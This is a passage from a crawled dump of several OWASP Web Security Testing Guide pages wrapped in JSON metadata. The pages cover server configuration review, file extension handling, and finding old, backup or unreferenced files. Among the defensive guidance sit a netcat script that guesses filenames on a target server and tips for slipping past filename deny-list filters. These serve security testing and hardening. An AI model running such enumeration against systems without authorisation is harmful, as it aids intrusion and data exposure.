Summary\n\nProper configuration of the single elements that make up an application architecture is important in order to prevent mistakes that might compromise the security of the whole architecture.\n\nReviewing and testing configurations are critical tasks in creating and maintaining an architecture. This is because various systems often come with generic configurations, which may not align well with the tasks they’re supposed to perform on the specific sites where they’re installed.\n\nWhile the typical web and application server installation will contain a lot of functionality (like application examples, documentation, test pages), what is not essential should be removed before deployment to avoid post-install exploitation.\n\n## Test Objectives\n\n- Ensure that default and known files have been removed.\n- Validate that no debugging code or extensions are left in the production environments.\n- Review the logging mechanisms set in place for the application.\n\n## How to Test\n\n### Black-Box Testing\n\n#### Sample and Known Files and Directories\n\nIn a default installation, many web servers and application servers provide sample applications and files for the benefit of the developer, in order to test if the server is working properly right after installation. However, many default web server applications have later been known to be vulnerable. This was the case, for example, for CVE-1999-0449 (Denial of Service in IIS when the Exair sample site had been installed), CAN-2002-1744 (Directory traversal vulnerability in CodeBrws.asp in Microsoft IIS 5.0), CAN-2002-1630 (Use of sendmail.jsp in Oracle 9iAS), or CAN-2003-1172 (Directory traversal in the view-source sample in Apache’s Cocoon).\n\nCGI scanners, which include a detailed list of known files and directory samples provided by different web or application servers, might be a fast way to determine if these files are present. However, the only way to be really sure is to do a full review of the contents of the web server or application server, and determine whether they are related to the application itself or not.\n\nIt is very common for programmers to add comments when developing large web-based applications. However, comments included inline in HTML code might reveal internal information that should not be available to an attacker. Sometimes, a part of the source code is commented out when a functionality is no longer required, but this comment is unintentionally leaked out to the HTML pages returned to the users.\n\nComment review should be done in order to determine if any information is being leaked through comments. This review can only be thoroughly done through an analysis of the web server’s static and dynamic content, and through file searches. It can be useful to browse the site in an automatic or guided fashion, and store all the retrieved content. This retrieved content can then be searched in order to analyse any HTML comments available in the code.\n\n#### System Configuration\n\nVarious tools, documents, or checklists can be used to give IT and security professionals a detailed assessment of the target systems’ conformance to various configuration baselines or benchmarks. Such tools include, but are not limited to, the following:\n\n- [CIS-CAT Lite](https://www.cisecurity.org/blog/introducing-cis-cat-lite/)\n- [Microsoft’s Attack Surface Analyzer](https://github.com/microsoft/AttackSurfaceAnalyzer)\n- [NIST’s National Checklist Program](https://nvd.nist.gov/ncp/repository)\n\n### Gray-Box Testing\n\n#### Configuration Review\n\nThe web server or application server configuration takes an important role in protecting the contents of the site and it must be carefully reviewed in order to spot common configuration mistakes. Obviously, the recommended configuration varies depending on the site policy, and the functionality that should be provided by the server software. In most cases, however, configuration guidelines (either provided by the software vendor or external parties) should be followed to determine if the server has been properly secured.\n\nIt is impossible to generically say how a server should be configured, however, some common guidelines should be taken into account:\n\n- Only enable server modules (ISAPI extensions in the case of IIS) that are needed for the application. This reduces the attack surface since the server is reduced in size and complexity as software modules are disabled. It also prevents vulnerabilities that might appear in the vendor software from affecting the site if they are only present in modules that have been already disabled.\n- Handle server errors (40x or 50x) with custom-made pages instead of with the default web server pages. Specifically make sure that any application errors will not be returned to the end user and that no code is leaked through these errors since it will help an attacker. It is actually very common to forget this point since developers do need this information in pre-production environments.\n- Make sure that the server software runs with minimized privileges in the operating system. This prevents an error in the server software from directly compromising the whole system, although an attacker could elevate privileges once running code as the web server.\n- Make sure the server software properly logs both legitimate access and errors.\n- Make sure that the server is configured to properly handle overloads and prevent Denial of Service attacks. Ensure that the server has been performance-tuned properly.\n- Never grant non-administrative identities (with the exception of `NT SERVICE\\WMSvc` ) access to applicationHost.config, redirection.config, and administration.config (either Read or Write access).\n- Never share out applicationHost.config, redirection.config, and administration.config on the network.\n- Do not store sensitive information in readable configuration files.\n- Encrypt sensitive configuration data where required.\n- Restrict access to shared configuration and protect it appropriately.\n\n#### Logging\n\nLogging is an important part of application security. It supports monitoring, incident response, and investigations. Review both platform and application logging to determine whether security-relevant events are recorded, whether the records are useful, and whether the logging process introduces additional risk.\n\nDuring the review, verify the following:\n\n- Security-relevant events are logged.\n- Log entries contain enough context to support investigation.\n- Logs do not store secrets or unnecessary sensitive data.\n- Logged data is handled safely before storage and display.\n- Access to logs is restricted to authorized personnel.\n- Logs are protected against tampering and retained appropriately.\n- Logging failures do not expose sensitive debugging information.\n- Logs can be centralized or correlated in distributed environments.\n\nTesting should confirm that logs are usable, consistent, and effectively support detection and response activities.\n\n## References\n\n- Apache\n - [Apache HTTP Server Documentation](https://httpd.apache.org/docs/current/)\n - [Performance Tuning](https://httpd.apache.org/docs/current/misc/perf-tuning.html)\n- Microsoft IIS\n - [Secure and Harden Internet Information Services](https://learn.microsoft.com/en-us/training/modules/secure-harden-internet-information-services/)\n - [CIS Microsoft IIS Benchmarks](https://www.cisecurity.org/benchmark/microsoft_iis/)\n- General\n - [Logging Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html) , OWASP\n - [SP 800-92](https://csrc.nist.gov/publications/detail/sp/800-92/final) Guide to Computer Security Log Management, NIST\n - [PCI DSS](https://www.pcisecuritystandards.org/document_library) Requirement 10, PCI Security Standards Council\n - [CERT Security Improvement Modules: Securing Public Web Servers](https://resources.sei.cmu.edu/asset_files/SecurityImprovementModule/2000_006_001_13637.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7976, "slov": 1090, "odkazu": 211, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:02", "sha256": "e86ffa68e64696cde1f2907b31c9e25811d8be27ee48199cb2c38e7a01ad777d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.cisecurity.org/blog/introducing-cis-cat-lite/", "https://github.com/microsoft/AttackSurfaceAnalyzer", "https://nvd.nist.gov/ncp/repository", "https://httpd.apache.org/docs/current/", "https://httpd.apache.org/docs/current/misc/perf-tuning.html", "https://learn.microsoft.com/en-us/training/modules/secure-harden-internet-information-services/", "https://www.cisecurity.org/benchmark/microsoft_iis/", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/800-92/final", "https://www.pcisecuritystandards.org/document_library", "https://resources.sei.cmu.edu/asset_files/SecurityImprovementModule/2000_006_001_13637.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/03-File_Extensions_Handling_for_Sensitive_Information", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/03-File_Extensions_Handling_for_Sensitive_Information", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/03-File_Extensions_Handling_for_Sensitive_Information", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "File Extensions Handling for Sensitive Information"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Forced Browsing"}, {"uroven": 4, "text": "Example"}, {"uroven": 3, "text": "File Upload"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - Latest\n\n# File Extensions Handling for Sensitive Information\n\n| ID |\n| --- |\n| WSTG-CONF-03 |\n\n## Summary\n\nWeb servers commonly use file extensions to determine which technologies, languages, and plugins must be used to fulfill web requests. While this behavior is consistent with RFCs and Web Standards, using standard file extensions provides the penetration tester useful information about the underlying technologies used in a web appliance and greatly simplifies the task of determining the attack scenario to be used on particular technologies. In addition, misconfiguration of web servers could easily reveal confidential information about access credentials.\n\nFile extension checks are often done to validate files before uploading them to the server. Unrestricted file uploads can lead to unforeseen results because the content may not be what is expected, or due to unexpected OS filename handling.\n\nUnderstanding how web servers handle requests for files with different extensions can clarify server behavior based on the types of files accessed. For example, it can help to understand which file extensions are returned as text or plain versus those that cause server-side execution. The latter are indicative of technologies, languages, or plugins used by web servers or application servers. This information may provide additional insight into how the web application is engineered. For example, while a “.pl” extension is typically associated with server-side Perl support, the file extension alone can be misleading and not entirely indicative of the underlying technology. Take, for instance, server-side resources written in Perl, which might be renamed to disguise the usage of Perl. See the next section on “web server components” for more on identifying server-side technologies and components.\n\n## Test Objectives\n\n- Enumerate sensitive file extensions that might contain raw data such as scripts or credentials\n- Validate that no system framework bypasses exist for the rules that have been set\n\n## How to Test\n\n### Forced Browsing\n\nSubmit requests with different file extensions and verify how they are handled. The verification should be on a per web directory basis. Verify directories that allow script execution. Web server directories can be identified by scanning tools which look for the presence of well-known directories. Additionally, mirroring the site structure helps testers reconstruct the directory tree served by the application.\n\nIf the web application architecture is load-balanced, it is important to assess all of the web servers. The ease of this task depends on the configuration of the balancing infrastructure. In an infrastructure with redundant components, there may be slight variations in the configuration of individual web or application servers. This may happen if the web architecture employs heterogeneous technologies (think of a set of IIS and Apache web servers in a load-balancing configuration, which may introduce slight asymmetric behavior between them, and possibly different vulnerabilities).\n\n#### Example\n\nThe tester has identified the existence of a file named `connection.inc`. Trying to access it directly gives back its contents, which are:\n\n```\n \n```\n\nThe tester determines the existence of a MySQL DBMS backend and the weak credentials used by the web application to access it.\n\nThe following file extensions should never be returned by a web server, as they pertain to files that could contain sensitive information or files that have no valid reason to be served.\n\n- `.asa`\n- `.inc`\n- `.config`\n\nThe following file extensions are related to files which, when accessed, are either displayed or downloaded by the browser. Therefore, files with these extensions must be checked to verify that they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information.\n\n- `.zip` , `.tar` , `.gz` , `.tgz` , `.rar` , etc.: (Compressed) archive files\n- `.java` : No reason to provide access to Java source files\n- `.txt` : Text files\n- `.pdf` : PDF documents\n- `.docx` , `.rtf` , `.xlsx` , `.pptx` , etc.: Office documents\n- `.bak` , `.old` and other extensions indicative of backup files (for example: `~` for Emacs backup files)\n\nThe list given above details only a few examples, since file extensions are too many to be comprehensively treated here. Refer to [FILExt](https://filext.com/) for a more thorough database of extensions.\n\nTo identify files with a given extension, a mix of techniques can be employed. These techniques can include using vulnerability scanners, spidering and mirroring tools, and querying search engines (see [Testing: Spidering and googling](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Reconnaissance_for_Information_Leakage)). Manual inspection of the application can also be beneficial, as it overcomes limitations in automatic spidering. See also [Old, Backup and Unreferenced Files](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information) which deals with the security issues related to “forgotten” files.\n\n### File Upload\n\nWindows 8.3 legacy filename handling on Windows-based systems can affect how files are resolved and accessed by the web server. While this behavior is often discussed in the context of file upload restrictions, it is also relevant when assessing how existing files with non-standard or legacy names may be exposed.\n\nIn environments where 8.3 filename generation is enabled, sensitive files that are otherwise not directly accessible using their long filenames may still be reachable through their shortened equivalents. This can lead to unintended disclosure of source code or configuration files if access controls are not consistently enforced.\n\nExamples of 8.3 filename resolution behavior that may lead to unintended file exposure:\n\n1. A file such as `file.phtml` may be processed as PHP code.\n2. A corresponding shortened filename (for example, `FILE~1.PHT` ) may be accessible depending on server and handler configuration.\n3. Files with misleading or extended filenames may still resolve to executable handlers once expanded by the operating system.\n\nTesting should focus on identifying whether legacy filename handling allows access to sensitive files that were not intended to be served. Testing of file upload mechanisms themselves is covered in dedicated File Upload and Business Logic test cases.\n\n### Gray-Box Testing\n\nWhite-box testing of file extension handling involves checking the server configurations in the web application architecture and verifying the rules for serving different file extensions.\n\nIf the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behavior.\n\n## Tools\n\nVulnerability scanners, such as Nessus and Nikto, check for the existence of well-known web directories. They may allow the tester to download the site structure, which is helpful when trying to determine the configuration of web directories and how individual file extensions are served. Other tools that can be used for this purpose include:\n\n- [wget](https://www.gnu.org/software/wget)\n- [curl](https://curl.se/)\n- Perform a Google search for “web mirroring tools”\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7488, "slov": 1083, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:03", "sha256": "f4d64c2680464c9560338d641c29fc5e175f1607a81277aa038960df791ac5b2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://filext.com/", "https://www.gnu.org/software/wget", "https://curl.se/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Review Old Backup and Unreferenced Files for Sensitive Information"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Threats"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Inference from the Naming Scheme Used for Published Content"}, {"uroven": 4, "text": "Other Clues in Published Content"}, {"uroven": 4, "text": "Blind Guessing"}, {"uroven": 4, "text": "Information Obtained Through Server Vulnerabilities and Misconfiguration"}, {"uroven": 4, "text": "Use of Publicly Available Information"}, {"uroven": 4, "text": "Filename Filter Bypass"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 3, "text": "Web spider tools"}, {"uroven": 3, "text": "Modern Alternatives"}], "markdown": "# WSTG - Latest\n\n# Review Old Backup and Unreferenced Files for Sensitive Information\n\n| ID |\n| --- |\n| WSTG-CONF-04 |\n\n## Summary\n\nWhile most of the files within a web server are directly handled by the server itself, it isn’t uncommon to find unreferenced or forgotten files that can be used to obtain important information about the infrastructure or the credentials.\n\nMost common scenarios include the presence of renamed old versions of modified files, inclusion files that are loaded into the language of choice and downloaded as source, and even automatic or manual backups in the form of compressed archives. Backup files can also be generated automatically by the underlying file system the application is hosted on, a feature usually referred to as “snapshots”.\n\nAll these files may grant the tester access to inner workings, back doors, administrative interfaces, or even credentials to connect to the administrative interface or the database server.\n\nAn important source of vulnerability is found in files unrelated to the application. These files may be created when editing application files, creating on-the-fly backup copies, or leaving old or unreferenced files in the web tree. Performing in-place editing or other administrative actions on production web servers may inadvertently leave backup copies, either generated automatically by the editor while editing files, or by the administrator who is zipping a set of files to create a backup.\n\nIt is easy to forget such files and this may pose a serious security threat to the application. It happens because backup copies may be generated with file extensions differing from those of the original files. A `.tar`, `.zip` or `.gz` archive that we generate (and might forget) has obviously a different extension, and the same happens with automatic copies created by many editors (for example, emacs generates a backup copy named `file~` when editing `file`). Making a copy manually can produce a similar effect, such as when `file` is copied as `file.old` or `file.bak`. The underlying file system the application is on could be making snapshots of your application at different points in time without your knowledge, which may also be accessible via the web, posing a similar but different backup file style threat to your application.\n\nAs a result, these activities generate files that are not needed by the application and may be handled differently than the original file by the web server. For example, if we make a copy of `login.asp` and name it `login.asp.old` without proper security measures, it could potentially allow users to download the source code of login.asp. This is because `login.asp.old` will be typically served as text or plain, rather than being executed because of its extension. In other words, accessing `login.asp` causes the execution of the server-side code of `login.asp`, while accessing `login.asp.old` causes the content of `login.asp.old` (which is, again, server-side code) to be plainly returned to the user and displayed in the browser. This may pose security risks, since sensitive information may be revealed.\n\nGenerally, exposing server-side code is a bad idea. Not only are you unnecessarily exposing business logic, but you may be unknowingly revealing application-related information which may help an attacker (path names, data structures, etc.). Not to mention the fact that there are too many scripts with embedded username and password in clear text (which is a careless and extremely dangerous practice).\n\nOther causes of unreferenced files are due to design or configuration choices when they allow diverse kind of application-related files such as data files, configuration files, log files, to be stored in file system directories that can be accessed by the web server. These files have normally no reason to be in a file system space that could be accessed via web, since they should be accessed only at the application level, by the application itself (and not by the casual user browsing around).\n\n### Threats\n\nOld, backup and unreferenced files present various threats to the security of a web application:\n\n- Unreferenced files may disclose sensitive information that can facilitate a focused attack against the application; for example, include files containing database credentials, configuration files containing references to other hidden content, absolute file paths, etc.\n- Unreferenced pages may contain powerful functionality that can be used to attack the application; for example, an administration page that is not linked from published content but can be accessed by any user who knows where to find it.\n- Old and backup files may contain vulnerabilities that have been fixed in more recent versions; for example, `viewdoc.old.jsp` may contain a directory traversal vulnerability that has been fixed in `viewdoc.jsp` but can still be exploited by anyone who finds the old version.\n- Backup files may disclose the source code for pages designed to execute on the server; for example, requesting `viewdoc.bak` may return the source code for `viewdoc.jsp` , which can be reviewed for vulnerabilities that may be difficult to find by making blind requests to the executable page. While this threat applies to scripting languages such as Perl, PHP, ASP, shell scripts, JSP, etc., it is not limited to them, as shown in the example provided in the next point.\n- Backup archives may contain copies of all files within (or even outside) the webroot. This allows an attacker to quickly enumerate the entire application, including unreferenced pages, source code, include files, etc. For example, if you forget a file named `myservlets.jar.old` containing a backup copy of your servlet implementation classes, you are exposing a lot of sensitive information which can be decompiled and reverse engineered.\n- In some cases, copying or editing a file modifies the filename but leaves the file extension intact. This is common in Windows environments, where file copying operations generate filenames prefixed with “Copy of “ or localized versions of this string. Since the file extension is left unchanged, this is not a case where an executable file is returned as plain text by the web server, and therefore not a case of source code disclosure. However, these files are dangerous too because there is a chance that they include obsolete and incorrect logic that, when invoked, could trigger application errors, which might yield valuable information to an attacker if diagnostic message display is enabled.\n- Log files may contain sensitive information about the activities of application users, for example, sensitive data passed in URL parameters, session IDs, URLs visited (which may disclose additional unreferenced content), etc. Other log files (e.g. ftp logs) may contain sensitive information about the maintenance of the application by system administrators.\n- File system snapshots may contain copies of the code that contain vulnerabilities that have been fixed in more recent versions. For example, `/.snapshot/monthly.1/view.php` may contain a directory traversal vulnerability that has been fixed in `/view.php` but can still be exploited by anyone who finds the old version.\n\n## Test Objectives\n\n- Find and analyse unreferenced files that might contain sensitive information.\n\n## How to Test\n\n### Black-Box Testing\n\nTesting for unreferenced files uses both automated and manual techniques, and typically involves a combination of the following:\n\n#### Inference from the Naming Scheme Used for Published Content\n\nEnumerate all of the application’s pages and functionality. This can be done manually using a browser, or using an application spidering tool. Most applications use a recognizable naming scheme, and organize resources into pages and directories using words that describe their function. It is often possible to infer the name and location of unreferenced pages from the naming scheme used for published content. For example, if a page titled `viewuser.asp` is found, one should also look for `edituser.asp`, `adduser.asp`, and `deleteuser.asp`. Similarly, if a directory `/app/user` is discovered, one should also search for `/app/admin` and `/app/manager`.\n\n#### Other Clues in Published Content\n\nMany web applications leave clues in published content that can lead to the discovery of hidden pages and functionality. These clues can often be found in the source code of HTML and JavaScript files. The source code for all published content should be manually reviewed to identify clues about other pages and functionality. For example:\n\nProgrammers’ comments and commented-out sections of source code may refer to hidden content:\n\n```\n \n```\n\nJavaScript may contain page links that are only rendered within the user’s GUI under certain circumstances:\n\n```\nvar adminUser=false; if (adminUser) menu.add (new menuItem (\"Maintain users\", \"/admin/useradmin.jsp\")); \n```\n\nHTML pages may contain FORMs that have been hidden by disabling the SUBMIT element:\n\n```\n
\n```\n\nAnother source of clues about unreferenced directories is the `/robots.txt` file used to provide instructions to web robots:\n\n```\nUser-agent: *\nDisallow: /Admin\nDisallow: /uploads\nDisallow: /backup\nDisallow: /~jbloggs\nDisallow: /include\n```\n\n#### Blind Guessing\n\nIn its simplest form, this involves running a list of common filenames through a request engine in an attempt to guess files and directories that exist on the server. The following netcat wrapper script will read a wordlist from stdin and perform a basic guessing attack:\n\n```\n#!/bin/bash server=example.org\nport=80\n\nwhile read url\ndo\necho -ne \"$url\\t\" echo -e \"GET /$url HTTP/1.0\\nHost: $server\\n\" | netcat $server $port | head -1 done | tee outputfile\n```\n\nDepending upon the server, GET may be replaced with HEAD for faster results. The output file specified can be grepped for “interesting” response codes. The response code 200 (OK) usually indicates that a valid resource has been found (provided the server does not deliver a custom “not found” page using the 200 code). But also look out for 301 (Moved), 302 (Found), 401 (Unauthorized), 403 (Forbidden) and 500 (Internal error), which may also indicate resources or directories that are worthy of further investigation.\n\nThe basic guessing attack should be run against the webroot, and also against all directories that have been identified through other enumeration techniques. More advanced/effective guessing attacks can be performed as follows:\n\n- Identify the file extensions in use within known areas of the application (e.g. JSP, ASPX, HTML), and use a basic wordlist appended with each of these extensions (or use a longer list of common extensions if resources permit).\n- For each file identified through other enumeration techniques, create a custom wordlist derived from that filename. Get a list of common file extensions (including ~, bak, txt, src, dev, old, inc, orig, copy, tmp, swp, etc.) and use each extension before, after, and instead of, the extension of the actual filename.\n\n> Note: Windows file copying operations generate filenames prefixed with “Copy of “ or localized versions of this phrase, hence they do not change file extensions. While “Copy of “ files typically do not disclose source code when accessed, they might yield valuable information in case they cause errors when invoked.\n\n#### Information Obtained Through Server Vulnerabilities and Misconfiguration\n\nThe most obvious way in which a misconfigured server may disclose unreferenced pages is through directory listing. Request all enumerated directories to identify any which provide a directory listing.\n\nNumerous vulnerabilities have been found in individual web servers which allow an attacker to enumerate unreferenced content, for example:\n\n- Apache ?M=D directory listing vulnerability.\n- Various IIS script source disclosure vulnerabilities.\n- IIS WebDAV directory listing vulnerabilities.\n\n#### Use of Publicly Available Information\n\nPages and functionality in internet-facing web applications that are not referenced from within the application itself may be referenced from other public domain sources. There are various sources of these references:\n\n- Pages that used to be referenced may still appear in the archives of internet search engines. For example, `1998results.asp` may no longer be linked from a company’s site, but may remain on the server and in search engine databases. This old script may contain vulnerabilities that could be used to compromise the entire site. The `site:` Google search operator may be used to run a query only against the domain of choice, such as in: `site:www.example.com` . Using search engines in this way has led to a broad array of techniques which you may find useful, and are described in the `Google Hacking` section of this Guide. Check it to hone your testing skills via Google. Backup files are not likely to be referenced by any other files and therefore may have not been indexed by Google, but if they lie in browsable directories the search engine might know about them.\n- In addition, Google and Yahoo keep cached versions of pages found by their robots. Even if `1998results.asp` has been removed from the target server, a version of its output may still be stored by these search engines. The cached version may contain references to, or clues about, additional hidden content that still remains on the server.\n- Content that is not referenced from within a target application may be linked to by third-party sites. For example, an application which processes online payments on behalf of third-party traders may contain a variety of bespoke functionality which can (normally) only be found by following links within the sites of its customers.\n\n#### Filename Filter Bypass\n\nBecause deny list filters are based on regular expressions, one can sometimes take advantage of obscure OS filename expansion features which work in ways the developer didn’t expect. The tester can sometimes exploit differences in ways that filenames are parsed by the application, web server, and underlying OS and it’s filename conventions.\n\nExample: Windows 8.3 filename expansion `c:\\\\program files` becomes `C:\\\\PROGRA\\~1`\n\n- Remove incompatible characters\n- Convert spaces to underscores\n- Take the first six characters of the basename\n- Add `~` which is used to distinguish files with names using the same six initial characters\n- This convention changes after the first 3 name collisions\n- Truncate file extension to three characters\n- Make all the characters uppercase\n\n### Gray-Box Testing\n\nPerforming gray-box testing against old and backup files necessitates the examination of files within directories that belong to the set of web directories served by the web server(s) comprising the web application infrastructure. Theoretically the examination should be performed by hand to be thorough. However, since in most cases copies of files or backup files tend to be created by using the same naming conventions, the search can be easily scripted. For example, editors leave behind backup copies by naming them with a recognizable extension or ending and humans tend to leave behind files with a `.old` or similar predictable extensions. A useful strategy would be to periodically schedule a background job to check for files with extensions that are likely to be identified as copies or backup files, while also performing manual checks on a longer time basis.\n\n## Remediation\n\nFor an effective protection strategy, testing should be combined with a security policy that clearly forbids dangerous practices, including:\n\n- Editing files in-place on the web server or application server file systems. This is a particularly bad habit, since it is likely to generate backup or temporary files by the editors. It is amazing to see how often this is done, even in large organizations. If you absolutely need to edit files on a production system, do ensure that you don’t leave behind anything that is not explicitly intended, and keep in mind that you are doing it at your own risk.\n- Carefully check any other activity performed on file systems exposed by the web server, such as spot administration activities. For example, if you occasionally need to take a snapshot of a couple of directories (which you should not do on a production system), you may be tempted to zip them first. Be careful not to leave behind such archive files.\n- Appropriate configuration management policies should help prevent obsolete and un-referenced files.\n- Applications should be designed not to create (or rely on) files stored under the web directory trees served by the web server. Data files, log files, configuration files, etc. should be stored in directories not accessible by the web server to counter the possibility of information disclosure, not to mention the potential for data modification if web directory permissions allow writing.\n- File system snapshots should not be accessible via the web if the document root is on a file system using this technology. Configure your web server to deny access to such directories, for example, under Apache, a location directive like this should be used:\n\n```\n\n Order deny,allow\n Deny from all\n \n```\n\n## Tools\n\nVulnerability assessment tools tend to include checks to spot web directories having standard names (such as “admin”, “test”, “backup”, etc.), and to report any web directory which allows indexing. If the tester is unable to find directory listing, they should try to check for probable backup extensions. Some tools that can help with this include:\n\n- [Nessus](https://www.tenable.com/products/nessus)\n- [Nikto2](https://cirt.net/Nikto2)\n\n### Web spider tools\n\n- [wget](https://www.gnu.org/software/wget)\n- Spike Proxy (legacy – no longer maintained; replaced by tools such as Burp Suite)\n- Xenu (legacy – last updated in 2010, no active maintenance)\n- [curl](https://curl.se/)\n\n### Modern Alternatives\n\n- [Burp Suite](https://portswigger.net/burp) – widely used web security testing proxy\n- [ZAP](https://www.zaproxy.org/) – open-source web application security testing tool\n- [Screaming Frog SEO Spider](https://www.screamingfrog.co.uk/seo-spider/) – website crawler and broken link checker\n\nSome of them are also included in standard Linux distributions. Web development tools usually include facilities to identify broken links and unreferenced files.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 18514, "slov": 2834, "odkazu": 207, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:03", "sha256": "c97d5c67441d767a190b158c876a740cfa17f696f68fb0a141a60a9675f8a6db", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.tenable.com/products/nessus", "https://cirt.net/Nikto2", "https://www.gnu.org/software/wget", "https://curl.se/", "https://portswigger.net/burp", "https://www.zaproxy.org/", "https://www.screamingfrog.co.uk/seo-spider/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", 